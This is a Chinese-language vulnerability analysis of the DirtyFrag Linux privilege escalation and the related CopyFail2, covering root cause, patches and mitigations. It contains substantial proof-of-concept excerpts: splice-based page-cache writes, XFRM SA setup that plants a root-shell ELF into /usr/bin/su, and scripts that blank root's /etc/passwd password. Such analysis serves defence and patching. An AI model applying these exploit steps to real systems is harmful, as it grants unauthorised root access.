最近是怎么了?又一款通杀全线Linux发行版的0Day漏洞

admin 2026-05-11 09:32:40 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档分析了名为DirtyFrag的Linux本地提权0Day漏洞,该漏洞通过串联xfrm-ESP和RxRPC两条攻击链实现页缓存写入,覆盖全线Linux发行版。关键发现包括漏洞利用splice()将只读文件页缓存引入网络协议栈解密路径实现写入,以及ESN序列号操纵实现4字节可控存储。可操作建议指出需关注netdev补丁状态并检查发行版安全更新。 综合评分: 87 文章分类: 漏洞分析,内核安全,漏洞POC,应急响应,威胁情报


cover_image

最近是怎么了?又一款通杀全线Linux发行版的0Day漏洞

原创

非虫 非虫

软件安全与逆向分析

2026年5月8日 09:48 湖北

在小说阅读器读本章

去阅读

又一款通杀全线Linux发行版的0Day漏洞

2026年5月7日,又一个Linux本地提权洞公开了,名字叫DirtyFrag。

仓库地址是:https://github.com/V4bel/dirtyfrag

这个漏洞不是靠单个入口覆盖所有环境,而是把两个同类页缓存写问题串到了一起。第一条链路走xfrm-ESP,能拿到4字节页缓存写;第二条链路走RxRPC,写入值不如ESP自由,但不依赖用户命名空间。两个入口互相补盲区,所以仓库里把它称为Universal Linux LPE

截至2026年5月8日,仓库说明里还没有统一CVE编号。ESP分支已有netdev树补丁,RxRPC分支也有公开补丁邮件,但发行版是否回补仍然要看各自公告。

背景

DirtyFrag属于DirtyPipe、CopyFail这一类问题:攻击者没有目标文件的写权限,却能让内核在页缓存上写入数据。这里的关键点不是磁盘文件被直接写了,而是PageCache里的那一页被改了。后续进程读这个文件时,读到的就是被污染后的内存副本,直到缓存被丢弃或系统重启。

DirtyPipe污染的是struct pipe_buffer,DirtyFrag污染的是struct sk_buff里的frag。名字里的Frag就是这个意思。

从影响时间看,仓库README给出的跨度很长。xfrm-ESP分支从2017年1月17日的cac2661c53f3开始受影响,RxRPC分支从2023年6月的2dc334f1a63a开始受影响。两条链合起来,漏洞有效生命周期接近9年。

它的共同入口可以拆成三步:

  1. 攻击者只读打开目标文件,比如/usr/bin/su/etc/passwd
  2. 通过splice()把目标文件的页缓存页零拷贝塞进网络发送侧skb->frags[]
  3. 接收侧内核代码认为自己只是在原地做解密校验,结果把解密过程中的STORE写到了攻击者塞进来的页缓存页上。

抽象成路径就是:

只读文件PageCache
    被splice引用到pipe
    被splice发送到socket
    进入skb->frags[]
    接收侧原地解密
    解密过程对frag执行STORE
    PageCache被改写

关键点在写入和失败返回的顺序:认证失败发生在写入之后。攻击者不需要知道真正的认证密钥,只要能让内核走到原地解密路径,STORE已经发生了,后面的-EBADMSG-EPROTO只是在写完之后返回的错误码。

从CopyFail到CopyFail2

之前那篇文章分析的是CopyFail,也就是CVE-2026-31431。那条链的核心在AF_ALG,攻击者通过splice(file->pipe->AF_ALG)把只读文件的PageCache页带进内核加密路径,再利用algif_aead状态机和原地解密写回,让内核把数据写到页缓存里。

后来出现的Copy_Fail2-Electric_Boogaloo沿用了这个方向,但落点换到了网络协议栈。仓库地址是:https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo

它名字叫CopyFail2,但漏洞入口已经不再是AF_ALG状态机,而是xfrm ESP-in-UDP的MSG_SPLICE_PAGES无COW快路径。换句话说,它和CopyFail同属“只读PageCache被内核写回”的大类,但具体子系统已经切到XFRM/ESP,也就是DirtyFrag里ESP分支的核心位置。

这里的no-COW fast path就是本文后面要讲的esp_input()跳过skb_cow_data()路径。MSG_SPLICE_PAGES则是UDP发送侧把pipe里的页直接挂到skb->frags[],让目标文件PageCache以网络包frag的身份进入ESP接收路径。

从仓库测试结果看,它覆盖Ubuntu24.04、Debian13、Arch、Fedora43、Ubuntu26.04等较新的内核;Ubuntu22.04的5.15内核不在它的触发范围内,因为UDP侧MSG_SPLICE_PAGES支持是在6.5之后进入的。

CopyFail2和DirtyFrag ESP分支的差异主要在利用策略。

DirtyFrag ESP分支利用ESN的seq_hi做4字节可控STORE,直接把/usr/bin/su第一页换成192字节root-shellELF。CopyFail2走rfc4106(gcm(aes)),目标换成/etc/passwd里一条无登录用户行,逐字节改成空密码uid0用户。中间填充字节用于保持原始行长度不变:

sick::0:0:XXXXXXXXXXXXXXXX:/:/bin/bash

逐字节改写靠的是GCM的计数器流。CopyFail2先读出目标文件某个字节C,再指定想要的明文字节P,需要的keystream字节就是:

keystream = C ^ P

PoC里对应的逻辑如下:

unsignedchar tbyte;
pread(tfd, &tbyte, 1, tboff);
unsignedchar want_ks = tbyte ^ want_plain;

for&nbsp;(ivv =&nbsp;1; ivv < (1ULL<<32); ivv++) {
memcpy(IV, &ivv, IVLEN);
memcpy(nonce + SALT_LEN, IV, IVLEN);
    aes_gcm_keystream_byte(AEAD_KEY, nonce,&nbsp;0, &ks_byte);
if&nbsp;(ks_byte == want_ks)
break;
}

这里没有爆破密钥。AEADkey固定,变化的是IV;只要第0个keystream字节等于want_ks,ESP解密时目标文件原字节C和keystream异或后,就会得到想要的P

接着它通过ip xfrm state add注册ESP状态,算法是rfc4106(gcm(aes))

snprintf(cmd,&nbsp;sizeof&nbsp;cmd,
"ip link set lo up ; "
"ip xfrm state flush ; "
"ip xfrm state add src 127.0.0.1 dst 127.0.0.1 "
"proto esp spi 0x%08x "
"encap espinudp %d %d 0.0.0.0 "
"aead 'rfc4106(gcm(aes))' %s 128 "
"replay-window 32",
    SPI, ENC_PORT, ENC_PORT, keyhex);

这里依然需要XFRM配置能力,所以它会运行在user和net命名空间中。仓库还提供了aa-rootns.c,用于在特定Ubuntu策略下尝试拿到命名空间内所需能力。这个点比原始CopyFail更贴近真实发行版环境:漏洞触发之外,还要处理user namespace策略。

把目标页送进ESP路径的代码集中在三次splice()和一次splice(pipe->socket)

splice(afd2, &off, pfd[1],&nbsp;NULL,&nbsp;16, SPLICE_F_MORE);
splice(tfd, &toff, pfd[1],&nbsp;NULL,&nbsp;1, SPLICE_F_MORE);
splice(afd2, &ioff, pfd[1],&nbsp;NULL,&nbsp;16, SPLICE_F_MORE);

int&nbsp;ss = socket(AF_INET, SOCK_DGRAM,&nbsp;0);
connect(ss, (struct&nbsp;sockaddr *)&da,&nbsp;sizeof&nbsp;da);
splice(pfd[0],&nbsp;NULL, ss,&nbsp;NULL,&nbsp;16&nbsp;+&nbsp;1&nbsp;+&nbsp;16,&nbsp;0);

前三次splice()分别塞入ESP头、目标文件的1字节PageCache、伪ICV。最后一次splice(pipe->UDPsocket)让内核设置MSG_SPLICE_PAGES,这1字节目标文件页就会作为skb->frags[]进入ESP接收路径。

外层run.sh负责把“单字节写”扩展成“整行替换”。它先找/etc/passwd里最长的nologinfalsesync用户行,然后构造同长度的新行,避免破坏文件结构。

PREFIX="${NEW_USER}::0:0:"
SUFFIX=":/:/bin/bash"
PAD_LEN=$((VICTIM_LEN -&nbsp;${#PREFIX}&nbsp;-&nbsp;${#SUFFIX}))
PAD=$(printf'%*s'"$PAD_LEN"''&nbsp;|&nbsp;tr' ''X')
TARGET_LINE="${PREFIX}${PAD}${SUFFIX}"

然后逐字节比较原始行和目标行,只对不同字节调用底层写原语:

for&nbsp;((i=0; i<len; i++));&nbsp;do
    o="${src:$i:1}"
    t="${dst:$i:1}"
if&nbsp;[&nbsp;"$o"&nbsp;!=&nbsp;"$t"&nbsp;];&nbsp;then
        FLIPS+=("$((line_off + i)):$(printf '0x%02x'&nbsp;"'$t")")
fi
done

这种写法不改行长,不移动后续字段偏移。页缓存里出现空密码uid0用户后,再通过su进入它。

CopyFail2还补了IPv6版本。README中特别强调同类问题也能落到esp6_input(),IPv6PoC使用::1回环和ip -6 xfrm,并且多塞了16字节padding,因为xfrm6_input.c存在长度检查,UDPpayload至少要达到40字节。需要注意的是,当前能查到的netdev修复提交f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4已经同时修改了esp4.cesp6.cip_output.cip6_output.c;如果某个发行版只回补了IPv4侧修复,IPv6侧才会继续成为绕过面。

if&nbsp;(splice(afd2, &off, pfd[1],&nbsp;NULL,&nbsp;16, SPLICE_F_MORE) !=&nbsp;16)
    die("splice esp_hdr");
if&nbsp;(splice(tfd, &toff, pfd[1],&nbsp;NULL,&nbsp;1, SPLICE_F_MORE) !=&nbsp;1)
    die("splice target byte");
if&nbsp;(splice(afd2, &poff, pfd[1],&nbsp;NULL,&nbsp;16, SPLICE_F_MORE) !=&nbsp;16)
    die("splice pad");
if&nbsp;(splice(afd2, &ioff, pfd[1],&nbsp;NULL,&nbsp;16, SPLICE_F_MORE) !=&nbsp;16)
    die("splice icv");

三者关系可以压成下面这张表:

CopyFail:
    AF_ALG状态机问题,PageCache进入加密socket后被写回

CopyFail2:
    xfrm ESP-in-UDP无COW快路径,PageCache进入skb->frag后被ESP写回

DirtyFrag:
    把xfrm-ESP Page-Cache Write和RxRPC Page-Cache Write串联
    用两条链覆盖不同发行版策略与模块差异

CopyFail2可以理解为CopyFail思路迁移到XFRM/ESP后的版本;从根因看,它已经踩在DirtyFrag ESP分支的同一位置,只是payload组织方式不同。

xfrm-ESP漏洞原理

先看ESP这条链。问题出在esp_input()处理非线性skb时跳过了skb_cow_data()

正常情况下,如果skb的数据来自外部共享页,内核在原地修改之前应该先做copy-on-write,复制到内核自己的私有buffer里。但漏洞分支里只要skb没有被clone,并且没有frag_list,就直接goto skip_cow

staticintesp_input(struct&nbsp;xfrm_state *x,&nbsp;struct&nbsp;sk_buff *skb)
{
if&nbsp;(!skb_cloned(skb)) {
if&nbsp;(!skb_is_nonlinear(skb)) {
            nfrags =&nbsp;1;
goto&nbsp;skip_cow;
        }&nbsp;elseif&nbsp;(!skb_has_frag_list(skb)) {
            nfrags = skb_shinfo(skb)->nr_frags;
            nfrags++;
goto&nbsp;skip_cow;
        }
    }

    err = skb_cow_data(skb,&nbsp;0, &trailer);
}

问题就藏在第二个分支里。通过splice()发出去的文件页会挂在skb_shinfo(skb)->frags[],这是非线性skb,但它通常没有frag_list。于是esp_input()绕过了COW,后续加解密直接在这个页缓存页上操作。

接下来看写入位置。ESP配合ESN和authencesn(hmac(sha256),cbc(aes))时,会在crypto_authenc_esn_decrypt()里移动高32位序列号。这个移动不是纯逻辑移动,而是一次真实写入。

staticintcrypto_authenc_esn_decrypt(struct&nbsp;aead_request *req)
{
    scatterwalk_map_and_copy(tmp, src,&nbsp;0,&nbsp;8,&nbsp;0);
if&nbsp;(src == dst) {
        scatterwalk_map_and_copy(tmp, dst,&nbsp;4,&nbsp;4,&nbsp;1);
        scatterwalk_map_and_copy(tmp +&nbsp;1, dst,
            assoclen + cryptlen,&nbsp;4,&nbsp;1);
        dst = scatterwalk_ffwd(areq_ctx->dst, dst,&nbsp;4);
    }
}

scatterwalk_map_and_copy(...,1)表示向目标scatterlist写数据。因为前面aead_request_set_crypt(req,sg,sg,...)srcdst指向同一批sg,所以这里写的不是普通临时buffer,而是skb->frags[]背后的PageCache。

ESP分支最终得到的是一次稳定的4字节STORE。

这4字节的值来自ESN高32位序列号,而这个字段可由攻击者在SA里提前放好:

staticvoidesp_input_set_header(struct&nbsp;sk_buff *skb, __be32 *seqhi)
{
structxfrm_state&nbsp;*x&nbsp;=&nbsp;xfrm_input_state(skb);
structip_esp_hdr&nbsp;*esph;

if&nbsp;((x->props.flags & XFRM_STATE_ESN)) {
        esph = skb_push(skb,&nbsp;4);
        *seqhi = esph->spi;
        esph->spi = esph->seq_no;
        esph->seq_no = XFRM_SKB_CB(skb)->seq.input.hi;
    }
}

XFRM_SKB_CB(skb)->seq.input.hi最终来自XFRM状态里的replay_esn->seq_hi。而这个值是在注册SA时通过XFRMA_REPLAY_ESN_VAL属性传进去的。PoC正是把要写入的4字节payload塞到这里。

ESP路径代码块解析

PoC把目标选成/usr/bin/su,因为它本来就是setuid-root程序。把su的PageCache第一页临时换成极小的root-shellELF后,再执行/usr/bin/su,内核加载的是被污染后的ELF内容,setuid位仍然生效。

目标和payload相关宏只有几个:

#define&nbsp;TARGET_PATH &nbsp; &nbsp; &nbsp;"/usr/bin/su"
#define&nbsp;PATCH_OFFSET &nbsp; &nbsp; 0
#define&nbsp;PAYLOAD_LEN &nbsp; &nbsp; &nbsp;192
#define&nbsp;ENTRY_OFFSET &nbsp; &nbsp; 0x78

源码里的shell_elf[PAYLOAD_LEN]是一段192字节ELF。这里不是把payload写进磁盘上的/usr/bin/su,而是覆盖/usr/bin/su的PageCache前192字节。ENTRY_OFFSET处是新ELF入口,里面做setgid(0)setuid(0)setgroups(0,NULL),最后execve("/bin/sh",...)

ESP需要注册XFRM SA,这要求CAP_NET_ADMIN。普通用户没有这个权限,所以PoC先进入新的user和net命名空间:

staticvoidsetup_userns_netns(void)
{
uid_t&nbsp;real_uid = getuid();
gid_t&nbsp;real_gid = getgid();
charmap[64];

    unshare(CLONE_NEWUSER | CLONE_NEWNET);
    write_proc("/proc/self/setgroups",&nbsp;"deny");
snprintf(map,&nbsp;sizeof(map),&nbsp;"0 %u 1", real_uid);
    write_proc("/proc/self/uid_map",&nbsp;map);
snprintf(map,&nbsp;sizeof(map),&nbsp;"0 %u 1", real_gid);
    write_proc("/proc/self/gid_map",&nbsp;map);

int&nbsp;s = socket(AF_INET, SOCK_DGRAM,&nbsp;0);
structifreqifr;memset(&ifr,&nbsp;0,&nbsp;sizeof(ifr));
strncpy(ifr.ifr_name,&nbsp;"lo", IFNAMSIZ);
    ioctl(s, SIOCGIFFLAGS, &ifr);
    ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
    ioctl(s, SIOCSIFFLAGS, &ifr);
}

这段代码的目的不是直接拿宿主root,而是在新命名空间里获得配置XFRM所需的网络管理能力,并把lo接口拉起来。后面所有包都打到127.0.0.1:4500

接着是注册SA,关键字段是seq_hi

staticintadd_xfrm_sa(uint32_t&nbsp;spi,&nbsp;uint32_t&nbsp;patch_seqhi)
{
structxfrm_usersa_info&nbsp;*xs&nbsp;=&nbsp;(struct&nbsp;xfrm_usersa_info *)NLMSG_DATA(nlh);

    xs->id.spi = htonl(spi);
    xs->id.proto = IPPROTO_ESP;
    xs->family = AF_INET;
    xs->mode = XFRM_MODE_TRANSPORT;
    xs->flags = XFRM_STATE_ESN;

structxfrm_replay_state_esn&nbsp;*esn&nbsp;=
        (struct&nbsp;xfrm_replay_state_esn *)esn_buf;
    esn->bmp_len =&nbsp;1;
    esn->seq = REPLAY_SEQ;
    esn->seq_hi = patch_seqhi;
    esn->replay_window =&nbsp;32;
    put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esn_buf,&nbsp;sizeof(esn_buf));
}

patch_seqhi就是最终会被STORE到目标页缓存里的4字节。PoC按4字节切分shell_elf,每4字节注册一个SPI不同的SA。

for&nbsp;(int&nbsp;i =&nbsp;0; i < PAYLOAD_LEN /&nbsp;4; i++) {
uint32_t&nbsp;spi =&nbsp;0xDEADBE10&nbsp;+ i;
uint32_t&nbsp;seqhi =
        ((uint32_t)shell_elf[i*4&nbsp;+&nbsp;0] <<&nbsp;24) |
        ((uint32_t)shell_elf[i*4&nbsp;+&nbsp;1] <<&nbsp;16) |
        ((uint32_t)shell_elf[i*4&nbsp;+&nbsp;2] <<&nbsp;8) |
        ((uint32_t)shell_elf[i*4&nbsp;+&nbsp;3]);

    add_xfrm_sa(spi, seqhi);
}

这个循环把“要写入的4字节”转换成“XFRM状态里的ESN高32位”。后续每触发一次指定SPI的ESP包,就在对应文件偏移写4字节。

do_one_write()里和页缓存写有关的是下面几行:

uint8_t&nbsp;hdr[24];
*(uint32_t&nbsp;*)(hdr +&nbsp;0) = htonl(spi);
*(uint32_t&nbsp;*)(hdr +&nbsp;4) = htonl(SEQ_VAL);
memset(hdr +&nbsp;8,&nbsp;0xCC,&nbsp;16);

structioveciov_h&nbsp;=&nbsp;{ .iov_base = hdr, .iov_len =&nbsp;sizeof(hdr) };
vmsplice(pfd[1], &iov_h,&nbsp;1,&nbsp;0);
splice(file_fd, &off, pfd[1],&nbsp;NULL,&nbsp;16, SPLICE_F_MOVE);
splice(pfd[0],&nbsp;NULL, sk_send,&nbsp;NULL,&nbsp;24&nbsp;+&nbsp;16, SPLICE_F_MOVE);

前置的socket设置决定这批数据会进入ESP接收路径:

  1. setsockopt(...,UDP_ENCAP_ESPINUDP,...)

    会让UDP接收路径进入ESP-in-UDP处理逻辑,包会被送到xfrm4_udp_encap_rcv(),再进入esp_input()

  2. vmsplice()

    先把伪造ESP头放入pipe,splice(file_fd,...)再把目标文件页缓存挂入pipe,最后splice(pipe,socket,...)把它们送进UDPsocket。由于走零拷贝路径,目标文件页以skb->frags[0]形态到达接收侧。

最终接收侧看到的skb大概是这样:

skb {
    head: ESP头8字节,IV16字节
    frags[0]: PageCache页P,偏移i*4,长度16字节
}

而漏洞写入发生在接收侧:

udp_rcv
    xfrm4_udp_encap_rcv
        xfrm_input
            esp_input
                跳过skb_cow_data
                esp_input_set_header写入seq_hi
                skb_to_sgvec把frag映射到sg
                crypto_authenc_esn_decrypt
                    scatterwalk_map_and_copy写4字节到PageCache

ESP路径没有竞争窗口,不靠抢时序。只要包走到这条分支,页缓存页就会出现在原地解密的写入位置。

RxRPC漏洞原理

ESP路径写入能力更强,但它有一个现实问题:需要unshare(CLONE_NEWUSER|CLONE_NEWNET)。Ubuntu近年可能通过AppArmor策略限制非特权用户创建user namespace,这会让ESP路径起不来。

针对这个盲区,DirtyFrag接上了RxRPC路径。

RxRPC分支的问题点在rxkad_verify_packet_1()。它为了校验RXRPC_SECURITY_AUTH级别的数据包,会对skb里的前8字节payload做一次原地pcbc(fcrypt)解密。

staticintrxkad_verify_packet_1(struct&nbsp;rxrpc_call *call,
struct&nbsp;sk_buff *skb,&nbsp;rxrpc_seq_t&nbsp;seq,
struct&nbsp;skcipher_request *req)
{
    sg_init_table(sg, ARRAY_SIZE(sg));
    ret = skb_to_sgvec(skb, sg, sp->offset,&nbsp;8);
if&nbsp;(unlikely(ret <&nbsp;0))
return&nbsp;ret;

memset(&iv,&nbsp;0,&nbsp;sizeof(iv));

    skcipher_request_set_sync_tfm(req, call->conn->rxkad.cipher);
    skcipher_request_set_callback(req,&nbsp;0,&nbsp;NULL,&nbsp;NULL);
    skcipher_request_set_crypt(req, sg, sg,&nbsp;8, iv.x);
    ret = crypto_skcipher_decrypt(req);
}

这里的sg,sg说明源和目的相同。只要攻击者能通过splice()把目标文件页塞进skb->frags[]skb_to_sgvec()就会把这个页缓存页映射成scatterlist,后面的crypto_skcipher_decrypt()就会在页缓存上做8字节STORE。

但RxRPC和ESP不一样。ESP写入值来自seq_hi,几乎可以当任意4字节写。RxRPC写入值是:

P = fcrypt_decrypt(C,K)

其中C是当前位置原本的8字节内容,K是攻击者通过RxRPCkey控制的8字节session key。攻击者不能直接指定P,只能离线爆破K,直到解密结果满足目标格式。

所以RxRPC路径不适合像ESP那样写完整ELF。PoC换了一个更省字节的目标:/etc/passwd第一行。

正常root行类似:

root:x:0:0:root:/root:/bin/bash

PoC要把它改成:

root::0:0:GGGGGG:/root:/bin/bash

也就是把root的密码字段变成空字符串。在PoC针对的Ubuntu等PAM配置中,pam_unix.so nullok会接受空密码字段,su认证就能被绕过去。

RxRPC路径代码块解析

RxRPC的第一步是准备攻击者控制的session key。PoC构造RxRPCv1token,把SESSION_KEY塞进去,再用add_key()注册到当前进程keyring。

staticuint8_t&nbsp;SESSION_KEY[8] = {
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
};

staticintbuild_rxrpc_v1_token(uint8_t&nbsp;*out,&nbsp;size_t&nbsp;maxlen)
{
    *(uint32_t&nbsp;*)p = htonl(2);
    *(uint32_t&nbsp;*)p = htonl(0);
    *(uint32_t&nbsp;*)p = htonl(1);
memcpy(p, SESSION_KEY,&nbsp;8);
}

staticlongadd_rxrpc_key(constchar&nbsp;*desc)
{
return&nbsp;key_add("rxrpc", desc, buf, n, KEY_SPEC_PROCESS_KEYRING);
}

sec_ix=2表示RXKAD。内核后面建立安全上下文时,会用这个session key初始化pcbc(fcrypt)cipher。

接着PoC在用户态复刻了fcrypt,做离线搜索。它没有尝试约束完整8字节,因为那样代价太高,而是只约束最终/etc/passwd格式必须成立的字节。

staticinlineintfc_check_pa_nullok(constuint8_t&nbsp;P[8])
{
return&nbsp;P[0] ==&nbsp;':'&nbsp;&& P[1] ==&nbsp;':';
}

staticinlineintfc_check_pb_nullok(constuint8_t&nbsp;P[8])
{
return&nbsp;P[0] ==&nbsp;'0'&nbsp;&& P[1] ==&nbsp;':';
}

staticinlineintfc_check_pc_nullok(constuint8_t&nbsp;P[8])
{
if&nbsp;(P[0] !=&nbsp;'0')&nbsp;return0;
if&nbsp;(P[1] !=&nbsp;':')&nbsp;return0;
if&nbsp;(P[7] !=&nbsp;':')&nbsp;return0;
for&nbsp;(int&nbsp;i =&nbsp;2; i <&nbsp;7; i++) {
if&nbsp;(P[i] ==&nbsp;':'&nbsp;|| P[i] ==&nbsp;'\0'&nbsp;|| P[i] ==&nbsp;'\n')
return0;
    }
return1;
}

这三个谓词对应三次重叠写:

offset4写8字节,最终只保留第0到第1字节,目标是::
offset6写8字节,最终只保留第0到第1字节,目标是0:
offset8写8字节,最终保留全部8字节,目标是0:任意合法5字节:

因为三次写入区域重叠,后写覆盖先写,最后效果是:

root:x:0:0:root:/root:/bin/bash
root::0:0:GGGGGG:/root:/bin/bash

离线搜索函数保留了最小循环:

staticintfind_K_offline_generic(constuint8_t&nbsp;C[8],
uint64_t&nbsp;max_iters, pcheck_fn check,
uint8_t&nbsp;K_out[8],&nbsp;uint8_t&nbsp;P_out[8],
uint64_t&nbsp;seed_init,&nbsp;constchar&nbsp;*label)
{
for&nbsp;(uint64_t&nbsp;iter =&nbsp;0; iter < max_iters; iter++) {
uint64_t&nbsp;r = fc_splitmix64(&seed);
memcpy(K, &r,&nbsp;8);
        fcrypt_user_setkey(&ctx, K);
        fcrypt_user_decrypt(&ctx, P, C);

if&nbsp;(check(P)) {
memcpy(K_out, K,&nbsp;8);
memcpy(P_out, P,&nbsp;8);
return0;
        }
    }
return-1;
}

这个函数完全在用户态跑,不触发内核漏洞。它只是找一个合适的K,让fcrypt_decrypt(C,K)的输出满足passwd行格式。

第二次和第三次搜索不能直接使用原始文件字节。第一次写入之后,offset6开始的8字节已经变了;第二次写入之后,offset8开始的8字节也变了。PoC专门修正了这个链式关系:

find_K_offline_generic(Ca, max_iters,
    fc_check_pa_nullok, Ka, Pa_out, seed_base,&nbsp;"K_A");

memcpy(Cb_actual, Pa_out +&nbsp;2,&nbsp;6);
memcpy(Cb_actual +&nbsp;6, Cb +&nbsp;6,&nbsp;2);
find_K_offline_generic(Cb_actual, max_iters,
    fc_check_pb_nullok, Kb, Pb_out, seed_base,&nbsp;"K_B");

memcpy(Cc_actual, Pb_out +&nbsp;2,&nbsp;6);
memcpy(Cc_actual +&nbsp;6, Cc +&nbsp;6,&nbsp;2);
find_K_offline_generic(Cc_actual, max_iters,
    fc_check_pc_nullok, Kc, Pc_out, seed_base,&nbsp;"K_C");

如果这里不修正Cb_actualCc_actual,离线算出来的key在真实内核触发时就会错位。RxRPC分支能稳定落点,靠的就是这处链式修正。

内核写入由do_one_trigger()触发。握手和CHALLENGE部分只负责让客户端建立RXKAD上下文,页缓存写入集中在构造DATA头和splice()发送这一段:

long&nbsp;key = add_rxrpc_key(keyname);

compute_csum_iv(epoch, cid,&nbsp;2, SESSION_KEY, csum_iv);
compute_cksum(cid, callN,&nbsp;1, SESSION_KEY, csum_iv, &cksum_h);

structrxrpc_wire_headermal&nbsp;=&nbsp;{0};
mal.epoch = htonl(epoch);
mal.cid = htonl(cid);
mal.callNumber = htonl(callN);
mal.seq = htonl(1);
mal.type = RXRPC_PACKET_TYPE_DATA;
mal.flags = RXRPC_LAST_PACKET;
mal.securityIndex =&nbsp;2;
mal.cksum = htons(cksum_h);
mal.serviceId = htons(svc_in);

structiovecviv&nbsp;=&nbsp;{ .iov_base = &mal, .iov_len =&nbsp;sizeof(mal) };
vmsplice(p[1], &viv,&nbsp;1,&nbsp;0);
splice(target_fd, &off, p[1],&nbsp;NULL, splice_len, SPLICE_F_NONBLOCK);
splice(p[0],&nbsp;NULL, udp_srv,&nbsp;NULL,&nbsp;sizeof(mal) + splice_len,&nbsp;0);
recvmsg(rxsk_cli, &m,&nbsp;0);

add_key("rxrpc",...)把当前轮次的SESSION_KEY交给内核。前面的RxRPC握手让客户端把这个key用于RXKAD安全上下文。随后DATA包的cksum也用同一个key算出来,包才能走到rxkad_verify_packet_1()。最后两次splice()把DATA头和/etc/passwd的PageCache页拼成一个UDP包,recvmsg()推动客户端消费这个包,原地解密随之发生。

对应到内核接收路径:

recvmsg
    rxrpc_recvmsg
        rxrpc_recvmsg_data
            rxrpc_verify_data
                rxkad_verify_packet
                    rxkad_verify_packet_1
                        skb_to_sgvec映射frag
                        skcipher_request_set_crypt使用sg作为src和dst
                        crypto_skcipher_decrypt写回PageCache

两条链为什么能通杀

单看任意一条链,都有明显边界。

ESP链的写入能力直接,4字节值和偏移都能控制,所以可以拼出一个192字节root-shellELF。缺点是要能创建user和net命名空间,从而拿到当前命名空间里的CAP_NET_ADMIN。如果发行版策略禁用了非特权user namespace,这条路就断了。

RxRPC链优点是不需要user namespace,add_key()socket(AF_RXRPC)socket(AF_ALG)splice()recvmsg()都可以由普通用户触发。缺点是写入值要靠fcrypt_decrypt(C,K)碰撞,不能随便写大段payload,并且目标系统要有rxrpc.ko

DirtyFrag把两者串起来:

if&nbsp;(force_rxrpc) {
    rc = rxrpc_lpe_main(new_argc, co_argv);
for&nbsp;(int&nbsp;i =&nbsp;0; !passwd_already_patched() && i <&nbsp;3; i++)
        rc = rxrpc_lpe_main(new_argc, co_argv);
}&nbsp;elseif&nbsp;(force_esp) {
    rc = su_lpe_main(new_argc, co_argv);
}&nbsp;else&nbsp;{
    rc = su_lpe_main(new_argc, co_argv);
if&nbsp;(!su_already_patched()) {
        rc = rxrpc_lpe_main(new_argc, co_argv);
for&nbsp;(int&nbsp;i =&nbsp;0; !passwd_already_patched() && i <&nbsp;3; i++)
            rc = rxrpc_lpe_main(new_argc, co_argv);
    }
}

默认流程是先走ESP;如果/usr/bin/su没有被污染,再切到RxRPC,尝试污染/etc/passwd。最后统一走run_root_pty()执行su -并接管交互。

污染判定只看两个稳定位置:

staticintsu_already_patched(void)
{
    pread(fd, got,&nbsp;sizeof(got),&nbsp;0x78);
returnmemcmp(got, su_marker,&nbsp;sizeof(su_marker)) ==&nbsp;0;
}

staticintpasswd_already_patched(void)
{
    pread(fd, head,&nbsp;sizeof(head),&nbsp;0);
returnmemcmp(head,&nbsp;"root::0:0",&nbsp;9) ==&nbsp;0;
}

DirtyFrag所谓通杀,不是一个入口覆盖所有Linux发行版,而是两个页缓存写漏洞分别覆盖彼此盲区。

补丁与缓解

ESP分支的修复思路是给从splice()来的外部共享frag打标记,然后在ESP输入路径里识别它,强制走COW。

-        } else if (!skb_has_frag_list(skb)) {
+        } else if (!skb_has_frag_list(skb) &&
+             &nbsp; !skb_has_shared_frag(skb)) {
            nfrags = skb_shinfo(skb)->nr_frags;
            nfrags++;

发送路径上增加标记:

+            if (!(flags & MSG_NO_SHARED_FRAGS))
+                skb_shinfo(skb)->flags |= SKBFL_SHARED_FRAG;

这个补丁的思路比单纯在ESP里无脑skb_cow_data()更克制:只要frag来自外部共享页,就不允许它走原地解密快路径。

RxRPC分支的补丁更短。原代码只检查skb_cloned(skb),但从splice()来的非线性skb不一定是cloned。补丁把skb->data_len也纳入检查,只要有非线性数据,就先复制。

-             &nbsp; &nbsp;skb_cloned(skb)) {
+             &nbsp; &nbsp;(skb_cloned(skb) || skb->data_len)) {
                /* Unshare the packet so that it can be
                 * modified by in-place decryption.
                 */

临时缓解可以禁用相关模块:

printf'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n'&nbsp;\
    > /etc/modprobe.d/dirtyfrag.conf
rmmod esp4 esp6 rxrpc 2>/dev/null

这只是临时措施。生产环境最终还是要跟进发行版内核更新,尤其要确认ESP和RxRPC两个分支是否都已经回补。

总结

DirtyFrag是一个页缓存引用边界被网络协议栈打穿的逻辑漏洞。用户态通过splice()把只读文件页带进skb->frag,内核协议代码又在没有隔离的情况下原地解密,于是“只读文件页”变成了“可被内核写的目的buffer”。

那么,这个洞是否可以作用于安卓实现LPE提权?

以安卓GKI arm64配置为例,虽然XFRM和ESP需要的内核配置:CONFIG_XFRM_USER=yCONFIG_INET_ESP=yCONFIG_INET6_ESP=y在GKI内核中都开启了。但问题是ESP链需要能配置XFRM状态,核心权限是CAP_NET_ADMIN。这在安卓上就不行了,普通用户设备可取不了这个权限。还有GKI配置里能看到CONFIG_NAMESPACES=y,但CONFIG_USER_NSCONFIG_NET_NS在该配置中没有打开,CONFIG_PID_NS也明确关闭;再叠加应用沙箱、SELinux和seccomp,普通App不能按发行版那套方式创建可用的网络命名空间并配置XFRM。

一句话总结就是:就算把用户态代码交叉编译成安卓ELF,普通App进程也很难走到DirtyFrag需要的RxRPC触发面。

参考资料

  1. DirtyFrag仓库:https://github.com/V4bel/dirtyfrag
  2. DirtyFrag官方技术说明:https://github.com/V4bel/dirtyfrag/blob/master/assets/write-up.md
  3. ESP修复提交:https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4
  4. ESP补丁邮件:https://lore.kernel.org/all/afLDKSvAvMwGh7Fy@v4bel/
  5. RxRPC补丁邮件:https://lore.kernel.org/all/afKV2zGR6rrelPC7@v4bel/
  6. CopyFail2仓库:https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo
  7. Android GKI arm64配置:https://android.googlesource.com/kernel/common/+/refs/heads/android-mainline/arch/arm64/configs/gki_defconfig
